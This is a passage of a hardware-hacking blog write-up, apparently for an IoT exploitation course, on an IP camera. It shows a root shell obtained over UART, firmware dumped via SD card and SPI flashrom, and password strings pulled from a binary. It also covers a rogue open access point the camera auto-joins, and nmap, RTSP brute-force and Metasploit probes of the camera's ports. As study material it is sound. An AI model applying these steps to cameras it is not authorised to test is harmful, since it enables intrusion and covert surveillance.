alt="PCB backside" /> </a> <p class="image-caption">PCB backside</p> </div> </div> <h4 id="16-eeprom">1.6 EEPROM</h4> <ul> <li>Link: http://www.celtor.pl/2447,24c04d-eeprom-szeregowa-4kb-512bx-so8.html</li> <li>Identifier: 24c04d 538b1</li> </ul> <p>Like the Flash it should communicate via SPI with the main processor. The EEPROM stores the Bootloader that will provide the program to load the operating system from the Flash. It’s much smaller with only 16kB. When it’s not possible to read the Flash, I would continue with the EEPROM.</p> <h4 id="17-audio-amplifier">1.7 Audio Amplifier</h4> <ul> <li>Link: http://www.inkocean.in/the-md8002a-8002a-sop8-smd-3w-audio-amplifier-ic-chip</li> <li>Identifier: 8002a swire15</li> </ul> <p>You can find this part on the board two times. It will amplify the audio signal from the DAC to hearable power level. Won’t be in our focus, either.</p> <h4 id="18-shell">1.8 Shell</h4> <p>The WiFi antenna is stucked in the front shell of the camera.</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/MwJ3CNj.jpg" title="Front covering with attached WiFi antenna" target="_blank"> <img class="image" src="https://i.imgur.com/MwJ3CNj.jpg" alt="Front covering with attached WiFi antenna" /> </a> <p class="image-caption">Front covering with attached WiFi antenna</p> </div> </div> <p>Inside this front shell lies this “LED ring” with some status LED’s and the IR sensor for measuring brightness, I guess.</p> <div class="image-container"> <div class="image-wrapper-double"> <a href="https://i.imgur.com/2Hy5mYM.png" title="LED circuit back side" target="_blank"> <img class="image1" src="https://i.imgur.com/2Hy5mYM.jpg" alt="LED circuit back side" /> </a> <p class="image-caption">LED circuit back side</p> </div> <div class="image-wrapper-double"> <a href="https://i.imgur.com/0H2RkYn.png" title="LED circuit front side" target="_blank"> <img class="image2" src="https://i.imgur.com/0H2RkYn.jpg" alt="LED circuit front side" /> </a> <p class="image-caption">LED circuit front side</p> </div> </div> <h2 id="2-access-over-hardware-ports">2. Access over Hardware Ports</h2> <h3 id="21-uart">2.1 UART</h3> <p>Without taking further measurements, I suspected the three pins in previous picture to be a UART serial port. As the first one has a squareformed joint, it’s supposed to be the GND pin and the two other ones Tx and Rx.</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/kjnXzwU.jpg" title="UART Buspirate setup" target="_blank"> <img class="image" src="https://i.imgur.com/kjnXzwU.jpg" alt="UART Buspirate setup" /> </a> <p class="image-caption">UART Buspirate setup</p> </div> </div> <p>I examined the ports with a buspirate and beeing sure I have the right ports, I tried all popular baudrates and parity bits:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HiZ&gt;m <span class="c">#Choose protocol from main buspirate interface</span> 1. HiZ 2. 1-WIRE 3. UART 4. I2C 5. SPI 6. 2WIRE 7. 3WIRE 8. LCD 9. DIO x. <span class="nb">exit</span><span class="o">(</span>without change<span class="o">)</span> <span class="o">(</span>1<span class="o">)&gt;</span>3 <span class="c">#taking UART</span> Set serial port speed: <span class="o">(</span>bps<span class="o">)</span> 1. 300 2. 1200 3. 2400 4. 4800 5. 9600 6. 19200 7. 38400 8. 57600 9. 115200 10. BRG raw value <span class="o">(</span>1<span class="o">)&gt;</span>9 <span class="c">#taking baudrate 115200</span> Data bits and parity: 1. 8, NONE <span class="k">*</span>default 2. 8, EVEN 3. 8, ODD 4. 9, NONE <span class="o">(</span>1<span class="o">)&gt;</span> <span class="c"># taking default value "no parity"</span> Stop bits: 1. 1 <span class="k">*</span>default 2. 2 <span class="o">(</span>1<span class="o">)&gt;</span> <span class="c"># taking default value "no stop bits"</span> Receive polarity: 1. Idle 1 <span class="k">*</span>default 2. Idle 0 <span class="o">(</span>1<span class="o">)&gt;</span> <span class="c"># is the Rx port high or low when it's idle, taking default</span> Select output <span class="nb">type</span>: 1. Open drain <span class="o">(</span><span class="nv">H</span><span class="o">=</span>Hi-Z, <span class="nv">L</span><span class="o">=</span>GND<span class="o">)</span> 2. Normal <span class="o">(</span><span class="nv">H</span><span class="o">=</span>3.3V, <span class="nv">L</span><span class="o">=</span>GND<span class="o">)</span> <span class="o">(</span>1<span class="o">)&gt;</span> <span class="c"># taking open drain as driver circuit for the port</span> Ready UART&gt;v <span class="c"># checking the Pinout of the BusPirate</span> Pinstates: 1.<span class="o">(</span>BR<span class="o">)</span> 2.<span class="o">(</span>RD<span class="o">)</span> 3.<span class="o">(</span>OR<span class="o">)</span> 4.<span class="o">(</span>YW<span class="o">)</span> 5.<span class="o">(</span>GN<span class="o">)</span> 6.<span class="o">(</span>BL<span class="o">)</span> 7.<span class="o">(</span>PU<span class="o">)</span> 8.<span class="o">(</span>GR<span class="o">)</span> 9.<span class="o">(</span>WT<span class="o">)</span> 0.<span class="o">(</span>Blk<span class="o">)</span> GND 3.3V 5.0V ADC VPU AUX - TxD - RxD P P P I I I I I I I GND 0.00V 0.00V 0.00V 0.00V L L L L L UART&gt;<span class="o">(</span>2<span class="o">)</span> <span class="c"># choosing mode to only receive output</span> Raw UART input Any key to <span class="nb">exit</span> <span class="o">&gt;</span>�ʛ���s�Ϲܒ<span class="sb">`</span>���e����k��������������ʗ���0�����������������컚�Ϙ�ߚЛ�������������%�������i���C�������q ��q����<span class="s2">"�c9�a�"</span>:�i���C�������q ��q����<span class="s2">"�c9�a�"</span>���i���C�������q ��q����<span class="s2">"�c9�a�"</span>���i�� ... q ��<span class="o">)</span>���<span class="s2">"��c9ñ"</span>:��C��������q <span class="p">;</span>�<span class="o">)</span>���<span class="s2">"�c9ñ"</span>:��C��������q <span class="p">;</span>�<span class="o">)</span>���<span class="s2">"�c9ñ"</span>:�i </code></pre></div></div> <p>Trying all different baudrates and parity bits didn’t give any better result. With a hint of https://twitter.com/adi1391 (course instructor) it was easy. The square pin isn’t GND, it’s RX (RX,GND,TX) with baudrate of 115200. I don’t know whether it’s the desired behaviour or a bug. In every case it will create some confusion.</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/ZIkf5W2.jpg" title="UART soldering" target="_blank"> <img class="image" src="https://i.imgur.com/ZIkf5W2.jpg" alt="UART soldering" /> </a> <p class="image-caption">UART soldering</p> </div> </div> <p>So first lesson learned: Never trust in habits. With this pinning I was able to get readable output and furthermore a shell with Root Rights but the whole file system is mounted only as readable. For the sake of readabilty I will put booting output into external link.</p> <p><a href="https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/booting_output.txt">Booting Stdout</a></p> <p>It gives some interesting information:</p> <ul> <li>The flash isn’t complying (like I mentioned before) with it’s printing. It’s 16MB in size. Enough to hold a whole flash firmware.</li> <li>Flash software is iJFFS2 version 2.2. (NAND) from Red Hat</li> <li>Flash communicates via SPI and creates 6 partitions on the flash <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SPI_FLASH spi0.0: MX25L12845E <span class="o">(</span>16384 Kbytes<span class="o">)</span> Creating 6 MTD partitions on <span class="s2">"nor-flash"</span>: 0x000000010000-0x000000080000 : <span class="s2">"UBOOT"</span> 0x000000080000-0x000000380000 : <span class="s2">"LINUX"</span> 0x000000380000-0x000000b00000 : <span class="s2">"FS"</span> 0x000000b00000-0x000000c00000 : <span class="s2">"USER0"</span> 0x000000c00000-0x000001000000 : <span class="s2">"USER1"</span> 0x000000000000-0x000001000000 : <span class="s2">"ALL"</span> </code></pre></div> </div> </li> <li>OS runs Linux RTOS with busybox on squashfs filesystem and library relies on microClib (important for executing external binaries)</li> <li>DRAM is 64 MiB</li> <li>we have USB interfaces (probably for the SD Card Reader) <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Drive Vbus because of ID pin shows Device A fotg210 fotg210.0: FOTG2XX fotg210 fotg210.0: new USB bus registered, assigned bus number 1 fotg210 fotg210.0: irq 9, io mem 0x93000000 fotg210 fotg210.0: USB 2.0 started, EHCI 1.00 hub 1-0:1.0: USB hub found hub 1-0:1.0: 1 port detected </code></pre></div> </div> </li> <li>there is a I2C bus <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>i2c /dev entries driver ftiic010 ftiic010.0: irq 18, mapped at 84860000 I2C hangs detection thread started! </code></pre></div> </div> </li> <li>uses lib80211 for WiFi functionalities</li> </ul> <p>After getting through booting and many applies of doing some OS tasks we have a shell. The shell will be harassed by intervalled output of WiFi Core that indicates it’s in STA mode and scans for a certain AP.</p> <h3 id="22-getting-firmware">2.2 Getting Firmware</h3> <h4 id="221-dumping-from-system-via-sdcard">2.2.1 Dumping from System via SDCard</h4> <ul> <li>We can dump nearly the whole filesystem by simply copying it onto an sdcard.</li> <li>It will be mounted as /mnt/disk1.</li> </ul> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/mnt <span class="c"># mmc0: new high speed SDHC card at address e624</span> mmcblk0: mmc0:e624 SU08G 7.40 GiB mmcblk0: found removeable disk1 mount removeable disk1 OK dwDiscState <span class="o">=</span> 2 /# <span class="nb">cp</span> <span class="nt">-r</span> / /mnt/disk1/ </code></pre></div></div> <p>Searching for interesting info bits in the file system</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># grep -rli aes</span> npc/npc patch/bin/wpa_supplicant patch/lib/mt7601Usta_v2.ko lib/modules/ms.ko <span class="c"># grep -rli firmware</span> npc/npc patch/bin/ifrename patch/lib/mt7601Usta_v2.ko gm/bin/busybox gm/tools/ethtool </code></pre></div></div> <p>The directory npc with the executable npc seems to be very interesting:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/npc <span class="c"># ls</span> dhcp.script minihttpd.conf patch txt wPipe gwellipc mtd pipe_create upgfile_ok img npc sound version.txt /npc <span class="c"># cat npc | grep aes</span> aes-128-ecb aes-128-cbc aes-128-ofb aes-128-cfb ... id-aes128-wrap id-aes192-wrap id-aes256-wrap e_aes.c aes key setup failed /npc <span class="c"># cat npc | grep -i password</span> Password PasswordType RemotlySetPassword Super_Password <span class="k">*</span>cESSID:%s,cPassword:%s,dwEncType <span class="o">=</span> %d challengePassword ... Password Fail <span class="nv">IP</span><span class="o">=</span>%d <span class="nv">Counter</span><span class="o">=</span>%d <span class="nv">dwPassword</span><span class="o">=</span>%d Guest Password verify OK 1... Password verify fail 1... Super Password super+manager Password Password verify OK1 ... Password verify fail 1... </code></pre></div></div> <p>npc has a lot of strings in it related to encrypting and network authentication. It’s necessary to obtain this binary from the filesystem to examine it in detail. I will look into the npc binary in a additional gistfile: https://gist.github.com/herrfeder/883093ae93eaefba8950c00f6a6bbed8#file-sricam_upnp_npc-md</p> <h4 id="222-dumping-flash-via-spi">2.2.2 Dumping Flash via SPI</h4> <p>My initial concept was to use the Attify Badge with the description from the IOT Exploitation Manual with the tool spiflash (https://github.com/devttys0/libmpsse). As I own a Testclip for 8-pin DIP-Chips, I can simply attach it to the Flash Chip with the following pinning:</p> <div class="image-container"> <div class="image-wrapper-double"> <a href="https://i.imgur.com/HTxJdvf.jpg" title="Testclip on the Flash Chip" target="_blank"> <img class="image1" src="https://i.imgur.com/HTxJdvf.jpg" alt="Testclip on the Flash Chip" /> </a> <p class="image-caption">Testclip on the Flash Chip</p> </div> <div class="image-wrapper-double"> <a href="https://i.imgur.com/53Claa1.jpg" title="Pinning of the Testclip Cable" target="_blank"> <img class="image2" src="https://i.imgur.com/53Claa1.jpg" alt="Pinning of the Testclip Cable" /> </a> <p class="image-caption">Pinning of the Testclip Cable</p> </div> </div> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/8q7AWW3.jpg" title="Overview of SPI flashing with Attify Badge" target="_blank"> <img class="image" src="https://i.imgur.com/8q7AWW3.jpg" alt="Overview of SPI flashing with Attify Badge" /> </a> <p class="image-caption">Overview of SPI flashing with Attify Badge</p> </div> </div> <p>It will sucessfully detect the Flash Chip probably indicated by the zeros. Because without attaching anything or the wrong pins it will show up “FF FF FF” instead (maybe it’s only indicating signal high on connected pin):</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/tools/libmpsse/src/examples</span> <span class="nv">$ </span><span class="nb">sudo </span>python spiflash.py <span class="nt">-i</span> <span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>oit: FT232H Future Technology Devices International, Ltd initialized at 15000000 hertz 00 00 00 </code></pre></div></div> <p>Now I will try to dump it’s memory to a file. We need some information to do so like the address offset where the firmware image starts and the size of memory. We know from the booting process that the uBoot Partition starts at 0x10000 (int 65536) and the memory size is 16MiB (16<em>1024</em>1024). So we can try to start the script with the right params:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/tools/libmpsse/src/examples</span> <span class="nv">$ </span><span class="nb">sudo </span>python spiflash.py <span class="nt">-a</span> 65536 <span class="nt">-s</span> 167510016 <span class="nt">-r</span> ip_cam.bin FT232H Future Technology Devices International, Ltd initialized at 15000000 hertz Reading 167510016 bytes starting at address 0x10000...saved to ip_cam.bin. </code></pre></div></div> <p>But when looking into the file, it only has 0x0000 in it:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/tools/libmpsse/src/examples</span> <span class="nv">$ </span>hexdump ip_cam.bin 0000000 0000 0000 0000 0000 0000 0000 0000 0000 <span class="k">*</span> 9fc0000 </code></pre></div></div> <p>After some research I saw that others struggled with the same problem:</p> <ul> <li>https://github.com/Marzogh/SPIFlash/issues/37</li> <li>https://www.ghostlyhaks.com/forum/rom-eeprom-bios-efi-uefi/64-can-t-dump-or-read-mx25l6406e-chip</li> </ul> <p>I decided to give the Bus Pirate a try with the tool flashrom (https://www.flashrom.org/Bus_Pirate) as it’s supports the BusPirate directly. I got the BusPirate SPI Pinning:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SPI&gt;v Pinstates: 1.<span class="o">(</span>BR<span class="o">)</span> 2.<span class="o">(</span>RD<span class="o">)</span> 3.<span class="o">(</span>OR<span class="o">)</span> 4.<span class="o">(</span>YW<span class="o">)</span> 5.<span class="o">(</span>GN<span class="o">)</span> 6.<span class="o">(</span>BL<span class="o">)</span> 7.<span class="o">(</span>PU<span class="o">)</span> 8.<span class="o">(</span>GR<span class="o">)</span> 9.<span class="o">(</span>WT<span class="o">)</span> 0.<span class="o">(</span>Blk<span class="o">)</span> GND 3.3V 5.0V ADC VPU AUX CLK MOSI CS MISO P P P I I I O O O I GND 0.00V 0.00V 0.00V 0.00V L L L L L </code></pre></div></div> <p>and connected it to the Testclip, the following way:</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/CqYLtBW.jpg" title="Overview of SPI flashing with Buspirate" target="_blank"> <img class="image" src="https://i.imgur.com/CqYLtBW.jpg" alt="Overview of SPI flashing with Buspirate" /> </a> <p class="image-caption">Overview of SPI flashing with Buspirate</p> </div> </div> <p>Using the command for flashrom to write the memory into file:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/tools/</span> <span class="nv">$ </span>flashrom <span class="nt">-V</span> <span class="nt">-p</span> buspirate_spi:dev<span class="o">=</span>/dev/ttyUSB0,spispeed<span class="o">=</span>1M <span class="nt">-r</span> MX25L128.bin <span class="nt">-c</span> MX25L12835F/MX25L12845E/MX25L12865E flashrom v0.9.9-r1954 on Linux 4.7.0-kali1-amd64 <span class="o">(</span>x86_64<span class="o">)</span> flashrom is free software, get the <span class="nb">source </span>code at https://flashrom.org flashrom was built with libpci 3.5.2, GCC 6.3.0 20170221, little endian Command line <span class="o">(</span>7 args<span class="o">)</span>: flashrom <span class="nt">-V</span> <span class="nt">-p</span> buspirate_spi:dev<span class="o">=</span>/dev/ttyUSB0,spispeed<span class="o">=</span>1M <span class="nt">-r</span> MX25L128.bin <span class="nt">-c</span> MX25L12835F/MX25L12845E/MX25L12865E Calibrating delay loop... OS timer resolution is 1 usecs, 2605M loops per second, 10 myus <span class="o">=</span> 11 us, 100 myus <span class="o">=</span> 111 us, 1000 myus <span class="o">=</span> 1025 us, 10000 myus <span class="o">=</span> 10064 us, 4 myus <span class="o">=</span> 5 us, OK. Initializing buspirate_spi programmer Detected Bus Pirate hardware v3b Detected Bus Pirate firmware 5.10 Using SPI <span class="nb">command set </span>v2. SPI speed is 1MHz Raw bitbang mode version 1 Raw SPI mode version 1 The following protocols are supported: SPI. Probing <span class="k">for </span>Macronix MX25L12835F/MX25L12845E/MX25L12865E, 16384 kB: probe_spi_rdid_generic: id1 0xc2, id2 0x2018 Found Macronix flash chip <span class="s2">"MX25L12835F/MX25L12845E/MX25L12865E"</span> <span class="o">(</span>16384 kB, SPI<span class="o">)</span> on buspirate_spi. Chip status register is 0x00. Chip status register: Status Register Write Disable <span class="o">(</span>SRWD, SRP, ...<span class="o">)</span> is not <span class="nb">set </span>Chip status register: Bit 6 is not <span class="nb">set </span>Chip status register: Block Protect 3 <span class="o">(</span>BP3<span class="o">)</span> is not <span class="nb">set </span>Chip status register: Block Protect 2 <span class="o">(</span>BP2<span class="o">)</span> is not <span class="nb">set </span>Chip status register: Block Protect 1 <span class="o">(</span>BP1<span class="o">)</span> is not <span class="nb">set </span>Chip status register: Block Protect 0 <span class="o">(</span>BP0<span class="o">)</span> is not <span class="nb">set </span>Chip status register: Write Enable Latch <span class="o">(</span>WEL<span class="o">)</span> is not <span class="nb">set </span>Chip status register: Write In Progress <span class="o">(</span>WIP/BUSY<span class="o">)</span> is not <span class="nb">set </span>This chip may contain one-time programmable memory. flashrom cannot <span class="nb">read </span>and may never be able to write it, hence it may not be able to completely clone the contents of this chip <span class="o">(</span>see man page <span class="k">for </span>details<span class="o">)</span><span class="nb">.</span> Reading flash... </code></pre></div></div> <p>This process took very long and wasn’t really promising but after nearly an hour it finished and I was able to examine a firmware binary:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/tools/</span> <span class="nv">$ </span>strings MX25L128.bin | <span class="nb">grep</span> <span class="nt">-i</span> gcc arm-unknown-linux-uclibcgnueabi-gcc <span class="o">(</span>Buildroot 2012.02<span class="o">)</span> 4.4.0 20100318 <span class="o">(</span>experimental<span class="o">)</span> GcC<span class="se">\M</span> jGcc </code></pre></div></div> <p>I guess, due to low maximum sample rates of the BusPirate it will dump really slow. Link for the extracted binary: https://github.com/herrfeder/Offensive_IOT_Exploitation/blob/master/gist_files/ip_cam_firmware.bin</p> <p>Some other interesting links for this purpose:</p> <ul> <li><img src="http://freneticrapport.blogspot.de/2010/10/how-to-restore-bios-after-bad-flash.html" alt="How to restore BIOS after bad flash" /></li> <li><img src="http://hackaday.com/2009/06/30/parts-spi-eeprom-25aa25lc/" alt="SPI interfacing experiments" /></li> <li><img src="https://medium.com/@rxseger/spi-interfacing-experiments-eeproms-bus-pirate-adc-opt101-with-raspberry-pi-9c819511efea" alt="Other SPI interfacing experiments" /></li> </ul> <h2 id="3-acess-over-wireless-interfaces-and-network">3. Acess over Wireless Interfaces and Network</h2> <h4 id="31-internal-communication">3.1 Internal Communication</h4> <p>The UI experience of the App for communicating with the Cam is really bad and I wasn’t patient enough, to set up WiFi connectivity with the App. On first glance I suspected it would setup an open access point and I can simply connect to it but it doesn’t. There is some functionality to connect to another existent WiFi by capturing with the provided Smartphone App generated QR-Code. I took another way and examined the OS of the Cam to find out what it is up to:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/network <span class="c"># cat interfaces </span> auto lo iface lo inet loopback iface eth0 inet static address 172.19.78.3 broadcast 172.31.255.255 netmask 255.240.0.0 gateway 172.19.78.2 pre-up /sbin/insmod /lib/modules/2.6.14/extra/ftmac100.ko post-down /sbin/rmmod ftmac100.ko <span class="c"># no hints in the configuration on the interfaces</span> /etc <span class="c"># cat wpa_supplicant0.conf </span> <span class="nv">ctrl_interface</span><span class="o">=</span>/etc/Wireless <span class="nv">network</span><span class="o">={</span> <span class="nv">ssid</span><span class="o">=</span><span class="s2">"Free-AP0"</span> <span class="nv">key_mgmt</span><span class="o">=</span>NONE <span class="o">}</span> <span class="c"># but a wpa_supplicant conf with a given SSID </span> </code></pre></div></div> <p>As I set up an open AP with the SSID “Free-AP0” the Cam connects immediately to it.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> CH 1 <span class="o">][</span> Elapsed: 6 s <span class="o">][</span> 2017-08-17 18:16 <span class="o">][</span> paused output BSSID PWR RXQ Beacons <span class="c">#Data, #/s CH MB ENC CIPHER AUTH ESSID</span> 00:C0:CA:62:41:8F <span class="nt">-9</span> 100 90 13 0 1 54 OPN Free-AP0 BSSID STATION PWR Rate Lost Frames Probe 00:C0:CA:62:41:8F F8:0C:F3:FF:5F:6C 14 54 - 6 0 11 <span class="c"># Smartphone with App </span> 00:C0:CA:62:41:8F 20:F4:1B:5C:07:AD <span class="nt">-19</span> 1 - 1 0 5 <span class="c"># IPCam </span> </code></pre></div></div> <p>To set up open or WEP/WPA access points with internet access quickly, I recommend the little bashtool qw (https://github.com/file-not-found/qw) of a collegue of mine. Prequesities are hostapd and dnsmasque. Of course, you can do it with hostapd by bridging or routing the connectivity manually.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/wlan <span class="c"># ./qw ap Free-AP0 wlan0 </span> Enter passphrase <span class="o">(</span>leave blank <span class="k">for </span>open network<span class="o">)</span>: Configuration file: /tmp/qw_1_hostapd.conf Using interface wlan0 with hwaddr 00:c0:ca:62:41:8f and ssid <span class="s2">"Free-AP0"</span> wlan0: interface state UNINITIALIZED-&gt;ENABLED wlan0: AP-ENABLED wlan0: STA f8:0c:f3:ff:5f:6c IEEE 802.11: authenticated <span class="c"># smartphone tries to connect</span> wlan0: STA f8:0c:f3:ff:5f:6c IEEE 802.11: associated <span class="o">(</span>aid 1<span class="o">)</span> wlan0: AP-STA-CONNECTED f8:0c:f3:ff:5f:6c wlan0: STA f8:0c:f3:ff:5f:6c RADIUS: starting accounting session C7E9972B18913018 Unsupported authentication algorithm <span class="o">(</span>1<span class="o">)</span> handle_auth_cb: STA 20:f4:1b:5c:07:ad not found Unsupported authentication algorithm <span class="o">(</span>1<span class="o">)</span> handle_auth_cb: STA 20:f4:1b:5c:07:ad not found wlan0: STA 20:f4:1b:5c:07:ad IEEE 802.11: authenticated <span class="c"># IPCam tries to connect</span> wlan0: STA 20:f4:1b:5c:07:ad IEEE 802.11: associated <span class="o">(</span>aid 2<span class="o">)</span> wlan0: AP-STA-CONNECTED 20:f4:1b:5c:07:ad wlan0: STA 20:f4:1b:5c:07:ad RADIUS: starting accounting session 611E6C4DC8EFDE0C </code></pre></div></div> <p>As the IPCam has network connection we will take the first step of network recon and scan the IPCam itself:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># nmap 10.0.0.21</span> Starting Nmap 7.50 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2017-08-15 15:10 CEST Nmap scan report <span class="k">for </span>10.0.0.21 Host is up <span class="o">(</span>0.022s latency<span class="o">)</span><span class="nb">.</span> Not shown: 998 closed ports PORT STATE SERVICE 554/tcp open rtsp <span class="c"># streaming video data locally</span> 5000/tcp open upnp <span class="c"># connect to distanced web server, will probably open port on router</span> MAC Address: 20:F4:1B:5C:07:AD <span class="o">(</span>Shenzhen Bilian electronic<span class="o">)</span> </code></pre></div></div> <p>As it has an open upnp port I suspected it to open a port on a router, when it is allowed to. I checked this out on a FritzBox but it doesn’t open a port automatically.</p> <p>There is a telnet daemon on the device. It seems to work:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># nmap 10.0.0.21 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-15 15:23 CEST Nmap scan report for 10.0.0.21 Host is up (0.20s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 554/tcp open rtsp 5000/tcp open upnp MAC Address: 20:F4:1B:5C:07:AD (Shenzhen Bilian electronic) </code></pre></div></div> <h4 id="32-trying-interactingaccessing-the-provided-services">3.2 Trying Interacting/Accessing the provided services</h4> <p>To get a more detailed view of provided services we will use nmap again to fingerprint the previous found ports and services:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># nmap --script rtsp-url-brute -p 554 10.0.1.25 :(</span> PORT STATE SERVICE 554/tcp open rtsp | rtsp-url-brute: | discovered: ... | rtsp://10.0.1.25/cam4/mpeg4 | rtsp://10.0.1.25/Video?Codec<span class="o">=</span>MPEG4&amp;Width<span class="o">=</span>720&amp;Height<span class="o">=</span>576&amp;Fps<span class="o">=</span>30 | rtsp://10.0.1.25/cam1/onvif-h264 ... | rtsp://10.0.1.25/cgi-bin/viewer/video.jpg?resolution<span class="o">=</span>640x480 | rtsp://10.0.1.25/h264Preview_01_sub | rtsp://10.0.1.25/h264_vga.sdp ... | rtsp://10.0.1.25/nphMpeg4/g726-640x480 | rtsp://10.0.1.25/nphMpeg4/nil-320x240 | rtsp://10.0.1.25/onvif-media/media.amp | rtsp://10.0.1.25/mpeg4unicast | rtsp://10.0.1.25/onvif/live/2 | rtsp://10.0.1.25/onvif1 | rtsp://10.0.1.25/onvif2 ... | rtsp://10.0.1.25/vis | rtsp://10.0.1.25/video1+audio1 | rtsp://10.0.1.25/wfov |_ rtsp://10.0.1.25/user<span class="o">=</span><span class="nv">admin_password</span><span class="o">=</span><span class="nv">tlJwpbo6_channel</span><span class="o">=</span><span class="nv">1_stream</span><span class="o">=</span>0.sdp?real_stream <span class="c"># nmap --script rtsp-methods -p 554 10.0.1.25</span> PORT STATE SERVICE 554/tcp open rtsp |_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, GET_PARAMETER, SET_PARAMETER,USER_CMD_SET </code></pre></div></div> <p>Many of these detected URL’s doesn’t work. rtsp://10.0.1.25/onvif1 will give definitely a stream.</p> <p>This seems very interesting but doing research for it doesn’t bring up as many attack vectors and info material as UPNP does. The services presented on this port suffers often evil vulnerabilties. It’s more critical that UPNP devices often forces the gateway to open ports independently to connect to backend or remote servers of the manufacturers or other third parties. Many DDos attacks in the past with IOT involved used open UPNP ports to control them. Footprinting this UPNP port reveals it’s presented service and version:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># nmap -sV -p 5000 10.0.1.25</span> PORT STATE SERVICE VERSION 5000/tcp open soap gSOAP 2.8 </code></pre></div></div> <p>So my first action was to speak with popular UPNP hacker tools to the interface but didn’t respond:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># miranda -i wlan0 -v</span> Binding to interface wlan0 ... Verbose mode enabled! upnp&gt; msearch Entering discovery mode <span class="k">for</span> <span class="s1">'upnp:rootdevice'</span>, Ctl+C to stop... </code></pre></div></div> <p>Metasploit, the famous exploiting framework includes some UPNP attack vectors for exploits especially for routers. To act as a real noob I will fire up some of these scripts to hope for any reaction without any knowledge of the underlying service “gSoap”. Obviously this didn’t result in any success. Metasploit includes another UPNP ssdp scanner but it won’t triggers anythin neither.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf <span class="o">&gt;</span> use auxiliary/scanner/upnp/ssdp_msearch msf auxiliary<span class="o">(</span>ssdp_msearch<span class="o">)</span> <span class="o">&gt;</span> <span class="nb">set </span>RHOSTS 10.0.1.25/32 msf auxiliary<span class="o">(</span>ssdp_msearch<span class="o">)</span> <span class="o">&gt;</span> run <span class="o">[</span><span class="k">*</span><span class="o">]</span> Sending UPnP SSDP probes to 10.0.1.25-&gt;10.0.1.25 <span class="o">(</span>1 hosts<span class="o">)</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> No SSDP endpoints found. <span class="o">[</span><span class="k">*</span><span class="o">]</span> Scanned 1 of 1 hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span> <span class="o">[</span><span class="k">*</span><span class="o">]</span> Auxiliary module execution completed </code></pre></div></div> <p>As it won’t broadcasting anything to it’s environment it has to be an API I have to trigger somehow. So I tried to access the port it via Webbrowser at first. It shows a SOAP XML-API that doesn’t want’s to be served with GET requests:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;SOAP-ENV:Fault</span> <span class="na">xmlns:SOAP-ENV=</span><span class="s">"http://www.w3.org/2003/05/soap-envelope"</span> <span class="na">xmlns:SOAP-ENC=</span><span class="s">"http://www.w3.org/2003/05/soap-encoding"</span> <span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="na">xmlns:xsd=</span><span class="s">"http://www.w3.org/2001/XMLSchema"</span> <span class="na">xmlns:wsa=</span><span class="s">"http://schemas.xmlsoap.org/ws/2004/08/addressing"</span> <span class="na">xmlns:wsdd=</span><span class="s">"http://schemas.xmlsoap.org/ws/2005/04/discovery"</span> <span class="na">xmlns:chan=</span><span class="s">"http://schemas.microsoft.com/ws/2005/02/duplex"</span> <span class="na">xmlns:wsa5=</span><span class="s">"http://www.w3.org/2005/08/addressing"</span> <span class="na">xmlns:xmime=</span><span class="s">"http://tempuri.org/xmime.xsd"</span> <span class="na">xmlns:xop=</span><span class="s">"http://www.w3.org/2004/08/xop/include"</span> <span class="na">xmlns:tt=</span><span class="s">"http://www.onvif.org/ver10/schema"</span> <span class="na">xmlns:wsrfbf=</span><span class="s">"http://docs.oasis-open.org/wsrf/bf-2"</span> <span class="na">xmlns:wstop=</span><span class="s">"http://docs.oasis-open.org/wsn/t-1"</span> <span class="na">xmlns:wsrfr=</span><span class="s">"http://docs.oasis-open.org/wsrf/r-2"</span> <span class="na">xmlns:tdn=</span><span class="s">"http://www.onvif.org/ver10/network/wsdl"</span> <span class="na">xmlns:tds=</span><span 